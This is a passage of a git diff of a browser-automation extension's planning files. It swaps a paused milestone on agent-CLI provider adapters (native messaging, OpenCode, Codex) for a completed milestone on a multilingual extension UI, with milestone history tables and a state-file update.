manifest gains a single additive `nativeMessaging` permission entry (no other permission changes); at boot the extension detects native-host presence, and when the host is installed, an "Agent offline" state auto-attempts a wake before showing the doctor deep-link — a user with the host installed sees the delegation come alive on demand instead of the manual `serve` prompt. - 3. The native host itself does NOT spawn agents; it only starts `fsb-mcp-server serve` (or attaches to a running one) and exits after handoff — all spawn authority remains inside the serve daemon behind the Phase 59 CHAN gates (Origin allowlist, shared secret, flag allowlist, argv-only) and no CHAN requirement is relaxed to accommodate the wake path. - 4. `fsb-mcp-server uninstall --native-host` cleanly removes the manifest, and `doctor` reports native-host install state including manifest path, allowlist mismatches, and host-binary reachability so an operator can debug wake failures without shell-level inspection. -**Plans**: 12 plans - -**Wave 1** -- [x] 63-01: Establish the workspace-safe build guard, release-built Windows bootstrap, and durable bundled runtime contract. - -**Wave 2** *(blocked on Wave 1 completion)* -- [x] 63-02: Fix pre-bind secret rotation and make product-specific serve readiness authoritative. - -**Wave 3** *(blocked on Wave 2 completion)* -- [x] 63-03: Implement the closed native-messaging framing, validation, one-shot entry, and authority boundary. - -**Wave 4** *(blocked on Wave 3 completion)* -- [x] 63-04: Implement exact readiness probing, tokened wake coalescing, and one shell-free serve handoff. - -**Wave 5** *(blocked on Wave 4 completion)* -- [x] 63-05: Implement exact-owned atomic registration, runtime materialization, install, and uninstall across three OS families. - -**Wave 6** *(blocked on Wave 5 completion)* -- [x] 63-06: Add explicit native-host CLI install/uninstall routes without widening existing installer behavior. - -**Wave 7** *(blocked on Wave 6 completion)* -- [x] 63-07: Add bounded read-only native-host diagnostics with safe local and browser projections. - -**Wave 8** *(blocked on Wave 7 completion)* -- [x] 63-08: Add the single manifest permission and background-owned probe/offline-wake controller. - -**Wave 9** *(blocked on Wave 8 completion)* -- [x] 63-09: Render the approved intent-fenced checking state in the existing delegation card. - -**Wave 10** *(blocked on Wave 9 completion)* -- [x] 63-10: Wire deterministic focused/root/CI contracts and create the still-pending milestone-end UAT ledger. - -**Wave 11** *(blocked on Wave 10 completion)* -- [x] 63-11: Run independent blocking code, security, and UI source-review gates. - -**Wave 12** *(blocked on Wave 11 completion)* -- [x] 63-12: Run the reviewed focused matrix and workspace-preserving repository-wide regression gate. - -### Phase 64: OpenCode Adapter -**Goal**: The `AgentProviderAdapter` contract proves it accommodates a second CLI family — one that supports both cold spawn AND attach-to-running-server (`opencode serve` + `opencode run --attach`) — without any Phase 60 rewrite; OpenCode joins the Providers panel with a pinned agent definition and CI-covered event schema so the drift gate covers it from day one. -**Depends on**: Phase 60 (contract), Phase 62 (drift-smoke gate must accept the new adapter fixture) -**Requirements**: MULTI-01, MULTI-02, MULTI-03 + 1. The coverage check fails when a fixture UI file contains a package-owned English sentence that is not in the catalog and not on the producer-owned exception list. + 2. The same check passes on the side panel, popup, options, control panel, onboarding, unlock, microphone permission, and overlay chrome. + 3. Producer-owned exceptions still cover user text, model output, page DOM, secrets, and logs, and the check does not flag them. +**Plans**: 1/1 plans complete +- [x] 70-01: Coverage gate and leftover package chrome. + +### Phase 71: Language control +**Goal**: The user can choose a locale inside the extension, keep that choice, and clear it. +**Depends on**: Phase 70 +**Requirements**: LANG-01, LANG-02, LANG-03 **Success Criteria** (what must be TRUE): - 1. An OpenCode adapter (`mcp/src/agent-providers/opencode.ts`) implements the `AgentProviderAdapter` contract with `caps.serverMode = true`; the supervisor either spawns `opencode run` cold OR attaches to a running `opencode serve` per the adapter's `buildSpawn` output — and the Phase 60 contract handles both without any hardcoded spawn-vs-attach branch outside the adapter. - 2. The OpenCode adapter ships a pinned agent definition (equivalent to Claude Code's `--agents fsb`) using OpenCode's `agent create` / `agents` config surface, keyed to a version pinned during phase spike, so tool boundaries and system-prompt intent are identical across the two adapters. - 3. A recorded OpenCode JSONL fixture under `tests/fixtures/agent-streams/opencode-/` proves the adapter's event schema in CI without a live CLI; the Phase 62 drift-smoke job includes OpenCode from the first commit of this phase, and unknown event types raise `agent_protocol_drift` with the adapter id `opencode`. Planning-document commits do not count as implementation commits: Plan 64-01 has exactly one implementation task/commit containing the complete parser, fixture, native negative corpus, and generalized drift gate; every later plan depends on it transitively, and Plan 64-05 exposes adapter/registry/matrix/bijection atomically. - 4. A user with OpenCode installed can pick "OpenCode" as their provider in the side panel and observe the delegation UX (streaming feed, kill switch that reclaims tabs, post-run summary, SW-eviction survival) work identically to Claude Code — with no adapter-specific side-panel branches. -**Plans**: 13 plans - -**Wave 1** -- [x] 64-01-PLAN.md — Land the complete strict parser, honest 1.14.25 fixture, native negative corpus, and generalized adapter-native Phase 62 CI drift gate as the sole first implementation commit. - -**Wave 2** *(blocked on Wave 1 completion)* -- [x] 64-02-PLAN.md — Freeze the exact five-method provider-neutral topology/attestation seam and the public fixed-env versus transient secret-binding contract. - -**Wave 3** *(blocked on Wave 2 completion)* -- [x] 64-03-PLAN.md — Version the exact delegation/provider-server runtime journal and private-artifact boundary with legacy recovery and structural secret non-retention preserved. - -**Wave 4** *(blocked on Wave 3 completion)* -- [x] 64-04-PLAN.md — Build exact OpenCode 1.14.25 retained detection, private policy, effective-attestation declarations, and exact server/attach secret-binding descriptors. - -**Wave 5** *(blocked on Wave 4 completion)* -- [x] 64-05-PLAN.md — Atomically compose and expose the production adapter, registry row, compatibility row, and exact parser/fixture/native-drift bijection. - -**Wave 6** *(parallel; blocked on Wave 5, with the server lifecycle also directly bound to Wave 3 runtime state)* -- [x] 64-06-PLAN.md — Project the exact roster into bounded inventory/doctor evidence and the browser-safe Claude/OpenCode compatibility plane. -- [x] 64-07-PLAN.md — Implement the generic cold-first, FSB-owned-server lease, health, fallback, idle, and recovery lifecycle. - -**Wave 7** *(parallel; each blocked on its Wave 6 dependency)* -- [x] 64-08-PLAN.md — Interpret closed attestation descriptors through the shared verifier, enforce no replay, and gate results on clean exit/tree settlement. -- [x] 64-09-PLAN.md — Generalize canonical extension preflight, consent, trust, and background-authoritative provider routing. - -**Wave 8** *(parallel; each blocked on its Wave 7 dependency)* -- [x] 64-10-PLAN.md — Generalize durable event/controller hydration and safe per-adapter drift diagnostics. -- [x] 64-11-PLAN.md — Promote the existing OpenCode Providers row from safe evidence with honest auth/billing and no visible layout change. - -**Wave 9** *(blocked on Waves 7-8 completion)* -- [x] 64-12-PLAN.md — Project OpenCode through the existing delegated consent/side-panel/feed/summary UI with no provider-specific branch. - -**Wave 10** *(blocked on Wave 9 completion)* -- [x] 64-13-PLAN.md — Wire exact validation/root/CI/security/full-suite gates and the still-pending three-row human-UAT ledger. - -### Phase 65: Codex Adapter -**Goal**: Task-mode delegation coverage extends to OpenAI Codex with correct auth-state disclosure (ChatGPT OAuth vs API key vs unauthenticated) so users know which billing bucket a run will hit before starting; `caps.chatMode: false` across all v0.9.91 adapters confirms task-mode-only scope for the milestone. -**Depends on**: Phase 60 (contract), Phase 62 (drift-smoke gate) -**Requirements**: MULTI-04, MULTI-05, MULTI-06 -**Success Criteria** (what must be TRUE): - 1. A Codex adapter (`mcp/src/agent-providers/codex.ts`) implements the `AgentProviderAdapter` contract, invoking `codex exec --json` with the verified 0.142.5 flag set (`--ephemeral` + `--ignore-user-config` for hermeticity; the deprecated `--full-auto` is NEVER referenced in adapter source, protected by the CHAN-07 grep gate against `--auto`). - 2. The Codex adapter's `detect()` correctly identifies auth via ChatGPT OAuth, API key, or unauthenticated and surfaces the state in the Providers panel so the user knows which billing bucket a run will hit — with the accepted copy **Included with your ChatGPT plan**, **Billed to the API key stored by Codex; dollar amount not reported.**, or the exact sign-in/status-refresh recovery copy. - 3. A schema-derived Codex JSONL contract fixture pins the event schema in CI under `tests/fixtures/agent-streams/codex-0.142.5/`, honestly retains `liveCapturePending: true`, and awaits genuine capture in UAT65-02; the Phase 62 drift-smoke job includes Codex from the first implementation commit, and the adapter's `caps()` correctly reports `chatMode: false` — matching the milestone-wide task-mode-only posture. - 4. A user with Codex installed can pick "Codex" as their provider and observe the same delegation UX as Claude Code and OpenCode with the correct per-auth-state cost copy, and the Providers panel's `agent`-kind cost row shows tokens / turns / duration + the auth-state-appropriate subscription caption rather than a fabricated dollar amount. -**Plans**: 8/8 complete - -- [x] 65-01-PLAN.md — Establish canonical accepted identity, capability vocabulary, and durable provider-neutral persistence before Codex exposure. -- [x] 65-02-PLAN.md — Bind background-owned preflight, consent, trust, and replay rejection to the exact five-field identity. -- [x] 65-03-PLAN.md — Enforce immediate supervisor re-attestation and exact start echo before any runtime or browser-visible effect. -- [x] 65-04-PLAN.md — Add bounded byte probes, sanitized environments, serve-owned authority descriptors, and empty direct scratch cleanup. -- [x] 65-05-PLAN.md — Atomically expose the complete Codex adapter, profile, parser, fixture, roster, drift, and negative corpus. -- [x] 65-06-PLAN.md — Project safe auth evidence and exact billing copy through the existing three-provider Providers surface. -- [x] 65-07-PLAN.md — Preserve immutable accepted identity through feed/hydration and close shared 44px delegated controls. -- [x] 65-08-PLAN.md — Lock exact validation/UAT contracts and the preservation-safe focused, root, and CI closure gate. - -## Progress - -**Execution Order:** -Phases execute in numeric order: 57 → 58 → 59 → 60 → 61 → 62 → 63 → 64 → 65 -Security-first hard rule: Phase 59 is code-green before Phase 60 spawn code lands, regardless of Phase 57/58 progress. - -| Phase | Plans Complete | Status | Completed | -|-------|-----------------|--------|-----------| -| 57. Agent Identity Capture | 3/3 | Complete | 2026-07-12 | -| 58. Providers Panel | 3/3 | Complete | 2026-07-12 | -| 59. Reverse-Request Channel & Security Foundation | 4/4 | Complete | 2026-07-14 | -| 60. Adapter Contract & Claude Code MVP | 4/4 | Complete | 2026-07-14 | -| 61. Delegation UX & SW-Eviction Persistence | 8/8 | Complete (UAT deferred) | 2026-07-15 | -| 62. CI Drift-Smoke Gate & Doctor Extensions | 6/6 | Complete (UAT deferred) | 2026-07-16 | -| 63. Native-Messaging Host | 12/12 | Complete | 2026-07-20 | -| 64. OpenCode Adapter | 13/13 | Complete | 2026-07-21 | -| 65. Codex Adapter | 8/8 | Complete | 2026-07-22 | - -## Completed Milestones - -
-v1.2.0 Showcase i18n Completeness — Phases 52-56, SHIPPED 2026-07-09 - -**Milestone Goal:** Close the translation gap that reopened after v0.9.63 shipped -- full, drift-free coverage across all six supported locales (en, es, de, ja, zh-CN, zh-TW) for every showcase marketing page plus the stats page, the long-deferred locale-cookie redirect bug, and a CI gate that catches future drift automatically. - -**Phase summary:** - -| Phase | Name | Plans | Status | -|-------|------|-------|--------| -| 52 | Full-Page Translation Completeness Audit | 1/1 | Complete | -| 53 | Trans-Unit Resync, Stats Translation & Transcreation Review | 3/3 | Complete; VISUAL-01 human_needed | -| 54 | Stats Lint Gate Flip & Dashboard Boundary Documentation | 1/1 | Complete | -| 55 | CI Drift-Detection Gate | 1/1 | Complete | -| 56 | Locale-Cookie Redirect Fix (WARNING-02) | 1/1 | Complete | - -Archive files: - -- `.planning/milestones/v1.2.0-ROADMAP.md` -- `.planning/milestones/v1.2.0-REQUIREMENTS.md` -- `.planning/v1.2.0-MILESTONE-AUDIT.md` - -Outcome: 13/13 v1.2.0 requirements satisfied; audit passed. Phase 52's audit established the true 5-drifted/54-orphaned baseline, superseding the milestone brief's original "247 trans-units" estimate. Phase 53 resynced the 5 drifted units + retired the stats-274 JSON artifacts + transcreated the 19 hero/CTA strings across 5 non-en locales. Phase 54 flipped `lint:i18n` to cover stats and documented the dashboard exclusion as permanent. Phase 55 landed `verify-translation-drift.mjs` as a hard-fail CI gate on a clean drift-free baseline. Phase 56 fixed WARNING-02's picker-cookie short-circuit on the bare-`/` Accept-Language redirect. VISUAL-01 browser UAT remains `human_needed` (`53-VISUAL-QA.md`). - -
- -
-v1.1.0 T1 App Execution Expansion — Phases 44-51, SHIPPED 2026-06-30 - -**Hard invariants (v1.1.0):** - -- Kept the two-tool MCP surface: `search_capabilities` and `invoke_capability`; no one tool per app. -- Preserved MV3 Wall 1: descriptors and recipes are closed-vocabulary data; no OpenTabs runtime/plugin code ships. -- Preserved Wall 2 unless explicitly extended by a verified Pattern-D design: credentialed execution stays origin-pinned and same-session. -- Writes and destructive actions stayed fail-closed until live request shape, consent behavior, and no-secret logging were proven. -- Denylisted origins remained blocked; sensitive origins stayed flagged/audited under the existing invoke/discovery consent semantics. -- Search distinguished "directly invocable T1" from "discovery-pending DOM/T2." - -### Phase 44: T1 Readiness Inventory + Status Surface -**Goal:** Create the authoritative T1 readiness matrix for all 2,314 descriptors and make status visible to developers and users so "catalog supported" is never confused with "direct API-ready." -**Requirements:** T1R-01, T1R-02, T1R-03. -**Plans:** -- [x] 44-01: T1 readiness matrix generator and evidence report. -- [x] 44-02: Status-surface and documentation honesty pass. -- [x] 44-03: T1 readiness CI guard and phase closeout. - -### Phase 45: T1 Porting Scaffold + Handler Contract Hardening -**Goal:** Build the reusable test and implementation scaffold for app ports so each new T1 handler has origin-pin, logged-out guard, shape guard, no-secret logging, consent classification, and byte-stable fallback behavior by default. -**Requirements:** T1R-04, T1R-05, T1R-09. -**Plans:** -- [x] 45-01: Port contract library and scaffold CLI. -- [x] 45-02: Current-catalog contract verifier. -- [x] 45-03: Documentation and phase closeout. - -### Phase 46: Same-Origin Read Ports — First High-Value Batch -**Goal:** Convert a first batch of high-value read descriptors from T3 to executable T1 where the app's authenticated web runtime uses same-origin APIs and can be proven without weakening Wall 2. -**Requirements:** T1R-06. -**Plans:** -- [x] 46-01: Candidate selection and Netlify/Bitbucket/CircleCI handler ports. -- [x] 46-02: Catalog wiring, search readiness, and same-origin classifier gates. -- [x] 46-03: Verification, UAT notes, and phase closeout. - -### Phase 47: Pattern-D + GAPI Bridge Architecture -**Goal:** Design and prove the missing architecture for apps whose useful APIs are separate-origin, per-org-subdomain, or page-bridge mediated, without breaking the active-tab credential boundary. -**Requirements:** T1R-07, T1R-08. -**Plans:** -- [x] 47-01: Pattern-D decision for separate-origin and per-org APIs. -- [x] 47-02: GAPI bridge decision for Google Workspace APIs. -- [x] 47-03: CI gate, negative controls, and closeout. - -### Phase 48: High-Value Read Ports — Second Batch -**Goal:** Use the Phase 47 outcome to port another batch of read descriptors, including Pattern-D/GAPI candidates if the architecture is proven. -**Requirements:** T1R-06, T1R-07, T1R-08. -**Plans:** -- [x] 48-01: Vercel same-origin read head. -- [x] 48-02: CircleCI same-origin read expansion. -- [x] 48-03: Gate, search, and readiness-report closeout. - -### Phase 49: Guarded Writes Activation Pipeline -**Goal:** Turn fail-closed write/destructive candidates into executable T1 only after live mutation-body capture, consent gate verification, and redacted audit proof. -**Requirements:** T1R-10, T1R-11. -**Plans:** -- [x] 49-01: Write activation evidence ledger. -- [x] 49-02: Evidence verifier and validation gate. -- [x] 49-03: Live-UAT template and closeout decision. - -### Phase 50: T1 Expansion Gate + Next-Batch Plan -**Goal:** Close the milestone with an honest T1 coverage gate, full regression suite, and a prioritized backlog for the remaining 2,288-descendant tail. -**Requirements:** T1R-12. -**Plans:** -- [x] 50-01: Regenerate readiness evidence and closeout counts. -- [x] 50-02: Full regression gate. -- [x] 50-03: Next-batch backlog and milestone closeout. - -### Phase 51: Full T1 Tail Migration Across Remaining Catalog -**Goal:** Convert the Phase 51 catalog-tail descriptors to explicit terminal states: executable T1/T1b where safe and technically provable, guarded fail-closed where write/destructive UAT is still required, or blocked where denylist/product/legal policy says no. -**Requirements:** T1ALL-01, T1ALL-02, T1ALL-03, T1ALL-04, T1ALL-05. -**Plans:** -- [x] 51-01: Full-tail worklist generator, acceptance gate, and batch scheduler. -- [x] 51-02: Existing-head and low-risk same-origin read bulk port. -- [x] 51-03: Retool CSRF same-origin read head. -- [x] 51-04: Asana same-origin Pattern-D carveout. -- [x] 51-05: Pattern-D and GAPI bridge implementation waves. -- [x] 51-06: Sensitive consumer/social and blocked-policy triage. -- [x] 51-07: Write/destructive live-UAT activation waves. -- [x] 51-08: Final all-tail regression, UAT ledger, and closeout. - -Archive files: - -- `.planning/milestones/v1.1.0-ROADMAP.md` -- `.planning/milestones/v1.1.0-REQUIREMENTS.md` -- `.planning/milestones/v1.1.0-MILESTONE-AUDIT.md` - -Outcome: v1.1.0 expanded proven direct execution from the v1.0.0 baseline into verified T1-ready read coverage across Netlify, Bitbucket, CircleCI, Vercel, Retool, Asana, and generated same-origin reads, with post-closeout ports reflected in the refreshed artifacts. Phase 51 closes the remaining catalog tail honestly: 1,267 rows are executable T1-ready, 556 rows are guarded fail-closed, and the remaining 491 descriptors are explicitly surfaced as bridge-needed, UAT-needed, blocked-policy, or degraded/discovery-pending rather than overclaimed. - -
- -
-v1.0.0 Full App Catalog (OpenTabs Parity) — Phases 35-43, SHIPPED 2026-06-29 - -Archive files: - -- `.planning/milestones/v1.0.0-ROADMAP.md` -- `.planning/milestones/v1.0.0-REQUIREMENTS.md` -- `.planning/milestones/v1.0.0-MILESTONE-AUDIT.md` -- `.planning/milestones/v1.0.0-phases/` - -Outcome: full OpenTabs-derived catalog/search/discovery surface shipped with 2,314 descriptors across 128 app stems / 129 services. The milestone deliberately fed the existing tier model rather than hand-porting every action: 26 descriptors resolve to T1/T1b today, 5 guarded writes remain fail-closed, and 2,288 descriptors remain T3 DOM/discovery-tail. Full milestone audit passed; non-blocking live UAT and T1 expansion debt are carried forward. - -
- -
-v0.9.99 Native Capability Catalog (FSB API Execution) — Phases 26-34, CODE-COMPLETE 2026-06-23 - -Gave FSB first-class authenticated-API execution as a fast path alongside DOM automation, between Wall 1 (closed-vocabulary recipe DATA bound by a fixed interpreter) and Wall 2 (MAIN-world authenticated fetch). Full `npm test` EXIT 0; live-browser UAT debt (UAT-27/29/30/31/32-01) carried forward. The v1.0.0 milestone extends this substrate verbatim. - -| Phase | Name | Plans | Status | -|-------|------|-------|--------| -| 26 | Recipe Schema + Bundled Interpreter + MV3 CI Guard | 3/3 | Complete | -| 27 | Authenticated Fetch Primitive (MAIN-world) + Origin-Pin + Resume-Sidecar | 3/3 | Complete; live FETCH-05 UAT human_needed | -| 28 | Lean MCP Surface + Capability Search + Eval Harness | 4/4 | Complete | -| 29 | Catalog + Tiered Router + Bundled Head + Declarative Tail + Autopilot Parity | 5/5 | Complete; live-capture UAT human_needed | -| 30 | Consent Governance + Recipe Signature Verification + Audit + Legal Posture | 4/4 | Complete; live smoke human_needed | -| 31 | Network-Capture Discovery + Recipe Synthesis + Learned Recipes | 6/6 | Complete; live UAT human_needed | -| 32 | Self-Healing Fallback + Recipe-Rot + Re-Learn + Provider/Schema-Lock Tests + UAT | 5/5 | Complete; live self-heal UAT human_needed | -| 33 | PhantomStream Media Mirroring (0.2.1 Uptake) — milestone extension | 1/1 | Complete; live media UAT human_needed | -| 34 | Explicit File Upload Tool (upload_file) — milestone extension | 1/1 | Complete; live upload UAT human_needed | - -Substrate carried into v1.0.0 (FIXED — do not redesign): tiers T0/T1a/T1b/T2-learned/T3-DOM; the closed-vocab interpreter; the consent gate (opt-out Auto default, denylist = the ONE hard floor); the 2 out-of-`TOOL_REGISTRY` MCP tools; `capability-catalog.js resolve()` / `capability-router.js invoke()` / `capability-search.js buildIndex()`; `scripts/package-extension.mjs readJsonDir` + the generated `recipe-index.generated.js` IIFE; the `github.js` T1a hand-port contract; `service-denylist.js` loader; `network-capture.js` discovery path; `verify-recipe-path-guard.mjs` Wall-1 guard. - -
- -
-v0.12.0 PhantomStream Package Migration — Phases 21-25, COMPLETED 2026-06-17 - -Archive files: - -- `.planning/milestones/v0.12.0-ROADMAP.md` -- `.planning/milestones/v0.12.0-REQUIREMENTS.md` -- `.planning/milestones/v0.12.0-MILESTONE-AUDIT.md` -- `.planning/milestones/v0.12.0-phases/` - -Phase summary: - -| Phase | Name | Plans | Status | -|-------|------|-------|--------| -| 21 | Package Intake & Contract Mapping | 3/3 | Complete | -| 22 | Capture Adapter Migration | 4/4 | Complete | -| 23 | Dashboard Renderer Migration | 4/4 | Complete | -| 24 | Transport, Relay & Remote Control Integration | 4/4 | Complete | -| 25 | Parity Removal, Docs & Browser UAT | 4/4 | Complete; human UAT debt recorded | - -Known deferred closeout evidence: live Chrome-extension dashboard preview and remote-control UAT remains `human_needed`; see `.planning/milestones/v0.12.0-phases/25-parity-removal-docs-browser-uat/25-HUMAN-UAT.md`. - -
- -
-v0.11.0 Trigger Tool (Reactive DOM Monitoring) — Phases 14-20, COMPLETED 2026-06-17 - -Phase summary: - -| Phase | Name | Plans | Status | -|-------|------|-------|--------| -| 14 | Trigger Survivability Foundation | 3/3 | Complete | -| 15 | Fire-Condition Engine & Value Extraction | 3/3 | Complete | -| 16 | Live-Observe Watch & Analyzing Pulse | 4/4 | Complete | -| 17 | Refresh-Poll Watch (Tab-Owning Background Reload) | 4/4 | Complete | -| 18 | Shared Tool Registry & Dispatcher Wiring | 4/4 | Complete | -| 19 | MCP Tools & Blocking/Detached Reporting | 3/3 | Complete | -| 20 | Integration, Cap UI, Docs & Edge Cases | 5/5 | Complete; human UAT debt recorded | - -Known deferred closeout evidence: live-browser/composed trigger UAT remains `human_needed`; publish/tag/release actions remain user-gated. - -
- -
-v0.10.0 Autopilot via Lattice SDK (Phases 01-13) — SHIPPED 2026-06-15 - -Archive files: - -- `.planning/milestones/v0.10.0-ROADMAP.md` -- `.planning/milestones/v0.10.0-REQUIREMENTS.md` -- `.planning/milestones/v0.10.0-MILESTONE-AUDIT.md` -- `.planning/milestones/v0.10.0-phases/` - -Phase summary: - -| Phase | Name | Plans | Status | -|-------|------|-------|--------| -| 01 | Lattice SDK gap survey + integration scaffolding | 2/2 | Complete | -| 02 | Lattice tripwire + receipt primitives extension | 5/5 | Complete | -| 03 | Observability + step-markers extension | 3/3 | Complete | -| 04 | Provider adapter alignment | 5/5 | Complete | -| 05 | MV3-survivability adapter contract + bundler infra + hybrid offscreen Lattice host | 6/6 | Complete | -| 06 | FSB engine consumes Lattice provider abstraction | 7/7 | Complete | -| 07 | Archive FSB custom provider stack | 4/4 | Complete | -| 08 | FSB agent brain on Lattice runtime | 3/3 | Complete | -| 09 | FSB SurvivabilityAdapter activated for MV3 SW eviction resumption | 3/3 | Complete | -| 10 | MCP-philosophy parity for autopilot driver | 3/3 | Complete | -| 11 | Tab-aware side panel surface | 5/5 | Complete | -| 12 | Side panel follows automation | 5/5 | Complete | -| 13 | Public Lattice package integration | 1/1 | Complete | - -Known deferred closeout evidence: 11 human-gated Chrome MV3/UAT verification items were acknowledged at close. See `.planning/STATE.md` `## Deferred Items`. - -
- -## Carry-Forward Candidates - -- **v0.9.91 v2 deferred (see REQUIREMENTS.md):** CHAT-FUTURE-01/02 (chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` + per-thread cwd pinning); GEMINI-FUTURE-01 (Gemini CLI adapter after live `--help` capture + JSONL schema pinning); ACP-FUTURE-01 (`@zed-industries/agent-client-protocol` unification once ≥2 non-Claude adapters have shipped); REMOTE-FUTURE-01 (remote/mobile delegation surfaces — v0.9.91 is explicitly localhost-only). -- **Consolidated Chrome MV3 UAT debt:** Run and capture archived v0.10/v0.11/v0.12 + v0.9.99 (UAT-27/29/30/31/32-01) browser evidence if release policy requires post-close proof. Does NOT block v0.9.91. -- **v1.2.0 v2 deferred:** QA-01 (native-speaker/bilingual QA pass), I18N-FUTURE-01 (migrate stats page off ad hoc JSON mechanism into main XLIFF pipeline), I18N-FUTURE-02 (full automated per-locale visual regression pipeline), I18N-FUTURE-03 (translation-freshness/"last synced" reporting surface). -- **v2 deferred capability families (acknowledged, out of v1.0.0/v1.1.0):** GAPI-01 (gapi-bridge handler family for Google Workspace); CLOUD-01 (cloud-console Pattern-D ports); UATX-01 (per-app live guarded-write UAT closeout). -- **Delegation primitive (Lattice-owned):** Parked from v0.10.0; re-scope as either a Lattice-owned primitive or an FSB-only consumer of Lattice receipt + tripwire surfaces after v0.9.91 stabilizes the adapter contract. - -## Backlog - -### Phase 999.1: MCP tool gaps — click heuristics + 1. The control lists `English`, `Español`, `Deutsch`, `日本語`, `한국어`, `简体中文`, and `繁體中文`, and those seven strings are the same in every locale. + 2. Choosing `de` and reopening the side panel, popup, and control panel shows German chrome. The on-page overlay chrome is German too. Chrome does not need a restart. + 3. Clearing the choice makes the UI follow the browser UI language again. + 4. The name shown in `chrome://extensions` still follows the browser UI language, because manifest `__MSG_` strings cannot follow the override. +**Plans**: 1/1 plans complete +- [x] 71-01: Persistent language control. +**UI hint**: yes -**Status:** Completed historical backlog work retained outside milestone archival. +## Coverage -- `999.1-01`: Route-aware MCP bridge dispatch + `execute_js` background handler. -- `999.1-02`: Text-based click targeting with TreeWalker visible-text matching. +- v1 requirements: 20 +- Mapped: 20 +- Unmapped: 0 -Artifacts remain in `.planning/phases/999.1-mcp-tool-gaps-click-heuristics/`. +--- +*Roadmap created: 2026-10-11* +*Phase 67 passed: 2026-10-11* +*Phase 69 passed: 2026-10-11* +*Phase 70 passed: 2026-10-13* +*Phase 71 passed: 2026-10-13* diff --git a/.planning/STATE.md b/.planning/STATE.md index e3a126cfb..b9779cb6c 100644 --- a/.planning/STATE.md +++ b/.planning/STATE.md @@ -1,48 +1,46 @@ --- gsd_state_version: 1.0 -milestone: v0.9.91 -milestone_name: MCP Clients as Providers -status: human_needed -stopped_at: Phase 65 automated verification passed; human UAT65-01 through UAT65-03 pending -last_updated: "2026-07-22T18:45:13.807Z" -last_activity: 2026-07-22 +milestone: v1.3.0 +milestone_name: Extension multilingual UI +status: completed +last_updated: "2026-10-13T20:22:29.068Z" +last_activity: 2026-10-13 progress: - total_phases: 18 - completed_phases: 9 - total_plans: 61 - completed_plans: 63 - percent: 50 + total_phases: 6 + completed_phases: 6 + total_plans: 6 + completed_plans: 6 + percent: 100 --- -*Note: the `total_phases`/`completed_phases` counts above are scoped to the active v0.9.91 milestone (Phases 57-65) only. Some GSD tooling (`roadmap.analyze`, `phase.complete`) reports a noisy multi-phase count including collapsed `## Completed Milestones` archive entries and `## Backlog` sections — treat this file's own numbers as authoritative for v0.9.91 progress.* +*Note: progress counts in the frontmatter are for v1.3.0 only. v0.9.91 is paused, not shipped. Its snapshot is `.planning/milestones/v0.9.91-STATE.md`.* # Project State -> **Post-milestone supersession (2026-07-15):** This file preserves the -> completed v1.2.0 state. The later showcase localization follow-up localized -> the dashboard and removed its lint exclusion, so the dashboard hard invariant -> below is historical rather than current. See -> `showcase/angular/src/locale/I18N-BOUNDARIES.md` for current policy. +> **v1.3.0 supersession (2026-10-11):** The active milestone is Extension multilingual UI. v0.9.91 MCP Clients as Providers is paused with human UAT still pending. Do not mark that UAT passed, and do not continue Phase 65 from this file. Archived copies: `.planning/milestones/v0.9.91-ROADMAP.md`, `.planning/milestones/v0.9.91-REQUIREMENTS.md`, `.planning/milestones/v0.9.91-phases/`. ## Project Reference -See: .planning/PROJECT.md (v0.9.91 MCP Clients as Providers — Current Milestone section, Key context bullets) -See: .planning/ROADMAP.md (v0.9.91 active, Phases 57-65; v1.2.0 / v1.1.0 / v1.0.0 / v0.9.99 / etc. archived and collapsed) -See: .planning/REQUIREMENTS.md (51 v1 requirements across 10 categories: IDENT, PROV, CHAN, ADAPT, CLAUDE, UX, LIFE, DRIFT, NATIVE, MULTI — all mapped to Phases 57-65, 48/51 complete) -See: .planning/research/SUMMARY.md (converged research summary; suggested phase structure; HIGH confidence) -See: .planning/research/PITFALLS.md (16 pitfalls with phase assignments; security section verified against 2025-2026 CVE class incidents) -See: .planning/research/ARCHITECTURE.md (file:line integration seams; brownfield mapping onto existing FSB architecture) -See: .planning/milestones/v1.2.0-ROADMAP.md, .planning/milestones/v1.2.0-REQUIREMENTS.md, .planning/v1.2.0-MILESTONE-AUDIT.md (archived Showcase i18n Completeness milestone) +See: .planning/PROJECT.md (v1.3.0 Extension multilingual UI) +See: .planning/ROADMAP.md (v1.3.0, Phases 66-71) +See: .planning/REQUIREMENTS.md (LOC, WIRE, SHELL, SET, ENTRY, QUAL, LANG, COPY) +See: .planning/research/SUMMARY.md (extension i18n research, 2026-10-11) +See: showcase/angular/src/app/core/i18n/locale-constants.ts (the seven locale codes) +See: showcase/angular/src/locale/DO-NOT-TRANSLATE.md (protected literals) -**Core value:** Reliable single-attempt execution — the AI decides correctly, the mechanics execute precisely. v0.9.91 does not touch the DOM/automation single-attempt property; it extends the surface so installed agent CLIs (Claude Code first, then OpenCode + Codex) become first-class side-panel providers that drive the same live browser through FSB's own MCP tools. -**Current focus:** Milestone-end human UAT sweep; Phase 65 automated verification is complete +**Core value:** Reliable single-attempt execution — the AI decides correctly, the mechanics execute precisely. v1.3.0 does not change automation or the MCP wire. It makes package-owned extension chrome render in the seven showcase locales. +**Current focus:** Phases 66–71 passed. The product version is 0.9.93. v1.3.0 is the planning label only. + +## Historical context (v0.9.91 and earlier) + +The sections below this banner are accumulated decisions from earlier milestones, including the paused v0.9.91 work. They are not the current task. The v0.9.91 project-reference notes that used to live here are in the archived state snapshot. ## Current Position -Phase: 65 (codex-adapter) — EXECUTING -Plan: 8 of 8 -Status: human_needed -Last activity: 2026-07-28 - Completed quick task 260728-k2v: animated toolbar action icon +Phase: 71 — Language control (passed) +Plan: 71-01 +Status: Milestone v1.3.0 is in PR #150. Six review findings are open, two of them blocking. +Last activity: 2026-10-13, opened PR #150 for review ## Roadmap At A Glance (v0.9.91, Phases 57-65) diff --git a/.planning/milestones/v0.9.91-REQUIREMENTS.md b/.planning/milestones/v0.9.91-REQUIREMENTS.md new file mode 100644 index 000000000..a9bf7c9d0 --- /dev/null +++ b/.planning/milestones/v0.9.91-REQUIREMENTS.md @@ -0,0 +1,203 @@ +# Requirements: FSB (Full Self-Browsing) + +**Defined:** 2026-07-11 +**Core Value:** Reliable single-attempt execution -- the AI decides correctly, the mechanics execute precisely. +**Milestone:** v0.9.91 MCP Clients as Providers + +## v1 Requirements + +Requirements for this milestone. Each maps to roadmap phases. + +### IDENT -- Agent Identity Capture + +- [x] **IDENT-01**: When the user clicks a copy-to-clipboard button on 